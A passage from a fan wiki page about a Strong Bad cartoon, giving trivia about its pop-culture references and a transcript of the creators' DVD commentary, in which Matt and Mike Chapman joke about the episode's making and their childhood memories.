  • "The most quackinest" is a reference to the Beastie Boys song "Shake Your Rump", which rhymes "I'm the most mackinest"/"the most packinest" in the third verse.
  • When Strong Bad removes his head from the TV, on the left side of the screen a Super Nintendo is visible, which was a popular video game system in the early and mid-1990s. If Strong Bad is removed via Flash decompiler, a black GameCube is also visible. Some Nintendo 64 game cartridges can also be seen.
    • An Atari 2600 can be made out on the right side as well as an NES 2 above the Super Nintendo. In the shadow underneath (and slightly to the left of) the Nintendo 64 cartridges may be the system itself.
    • The NES cartridge in the NES 2 is Kirby's Adventure.
  • Dairy Queen is a restaurant chain centered around soft-serve ice cream and fast food.

[edit] Fast Forward

[edit] DVD Version

  • The DVD version features hidden creators' commentary. To access it, switch the DVD player's audio language selection while watching.

[edit] Commentary Transcript

(Commentary by: Matt Chapman, Mike Chapman)

MATT: I'm going to try extra hard to use good diction and proper grammar during this commentary, Mike Chapman.

MIKE: You're off to a very good start, brother Matt.

MATT: Thank you.

MIKE: That guy on the TV didn't have good grammar now, did he?

MATT: No. {word is obscured by his laughing} Hey, this sort of relates to later on when we referred to Strong Sad's soft-serve flip. Do you think that's why he wanted to be called "Dairy Queen" temporarily?

MIKE: Oh, yeah! {chuckling} Maybe, maybe! His head looks like a...

MATT: Dairy Queen ice cream cone, yeah!

MIKE: Umm...

MATT: {singing} In the land of Dairy Queen,

BOTH: {singing} we treat you right!

MATT: Remember those commercials that used to have the land of Dairy Queen in them? It was like a chocolate...

MIKE: {interrupting} Yeah, a chocolate river with, like, a fudge canyon? {pause} So Caleb Rentpayer is a very good show!

MATT: I think so! I would like to see a full episode of Caleb Rentpayer and Tuxworth, his butler. So, did— Caleb somehow come into a lot of money, and that's why he suddenly has this butler?

MIKE: Maybe. You know what I'm just now thinking; I recently saw the movie Arthur again for the first time in twenty years, and it's sort of similar. Arthur is just kind of this, you know...

MATT: Vagabond?

MIKE: Well he's got all this money, but he's not, you know, he's got a butler, but he's not very nice to him—

MATT: Oh.

MIKE: And um... sort of, he's not quite as... disrespectful to his butler as— as Caleb— as Caleb is, {Matt laughs} but the but— the butler's always kind of trying to cover his tracks—

MATT: Oh, okay.

MIKE: ...and, anyway...

MATT: Poor Tuxworth.

MIKE: Yeah. {laughs}

{pause}

MATT: Is that the only time that Homestar refers to the King of Town as... Santa Claus? Doesn't he call him Father Christmas, maybe, another time?

MIKE: Uhhm...

MATT: Or did we just discuss doing one or the other of those when we made this cartoon?

MIKE: Yeah, I think— I don't know; I think that's the only time, Matt.

MATT: I think it was a toss-up between Father Christmas and Santa.

{pause}

MATT: Aww. Yeah, Caleb, I'd like to see you throw that suitcase!

{pause}

MATT: I remember taking a class on HTML in college and they— they talked all about Boolean operators and how to search for things on the Internet using Infoseek or AltaVista.

MIKE: {laughs} AltaVista! HotBot?

MATT: {laughs}

MIKE: I remember—

MATT: Blue AND ones, NOT red AND ones! I think you could do "not", as well, couldn't you? {laughs} "This is just fine", Mike!

MIKE: {laughs}

MATT: It's the— we all know that Bubs, you know, just wants to rip you off and take your money but this is the first sort of criminal, uh, element that we've seen, or criminal...

MIKE: I think we... I think there's a misspelling somewhere.

MATT: Is there? Consul-tant?

MIKE: Nah, I think we missed it. The wiki told me. {laughs} Maybe we corrected it already.

MATT: {imitating Homestar's line} You got it?

BOTH: {laugh}

MATT: That's some good mumbles! I remem— I record— I usually try, if the character is doing something like that, like talking with his mouth open, then I try to do the lines with my mouth open, obviously, and there's other times where Strong Bad's like— Ooh! Later on in this cartoon! When he's got his face up against the TV...

MIKE: Right.

MATT: He's duct-taped his head to the TV, where I, like, mashed my face into a book, I think, and then miked it so I'd be like, "woarh, woarh!", trying to make it as authentic as possible. Want to experience what the characters are experiencing.

MIKE: We call that, umm... character acting?

MATT: Method acting?

MIKE: Method acting!

{pause}

MATT: {responding to Strong Bad's "Can't you see grandma's watching her stories?"} Uhh, she is.

{pause}

MATT: Things get serious in this episode of Caleb Rentpayer. Who shot Caleb, Mike?

MIKE: I think I know.

MATT: Yeah. {pause} Remember that— there was some game you played on your fingers about who shot J.R.? Like it was this thing that was like, "Who shot J.R.?" and then you, like, made your pinky go away. Then you said, "Who shot J.R.?" and then your ring finger went away. And then it ended up making a gun, and— and you said, "It was me!" {makes a sound of a shot} I remember, uh... Brandon, that lived in the cul-de-sac behind ours doing that. To me.

MIKE: Sounds hilarious!

MATT: It was great! And he had a dog named Dude.

MIKE: {laughing} He did. And I thought it was "dood" as in, "doody".

MATT: I dooed. I just dooed in the toilet.

MIKE: I always thought the dog's name was a bad— kind of a bad word.

MATT: D-O-O-D.

MIKE: Yeah.

{pause}

MATT: {seeing Homestar on the TV} Look, that's our office!

MIKE: Uh-huh.

{pause}

MATT: I like the little dotted line that trails from that little guy.

MIKE: Lemme guess, you made it.

MATT: No.

MIKE: You did that.

MATT: I thought you did.

MIKE: Nah, I think you did.

MATT: Oh. I'll quit complimenting the things that I made.

MIKE: {laughs} I don't like the way the blue ones look and I know I made those very late in the game, and just wanted the cartoon to be done.

MATT: It's okay. Bye, everybody!

MIKE: Bye, Matt!

[edit] Fun Facts

[edit] External Links

Personal tools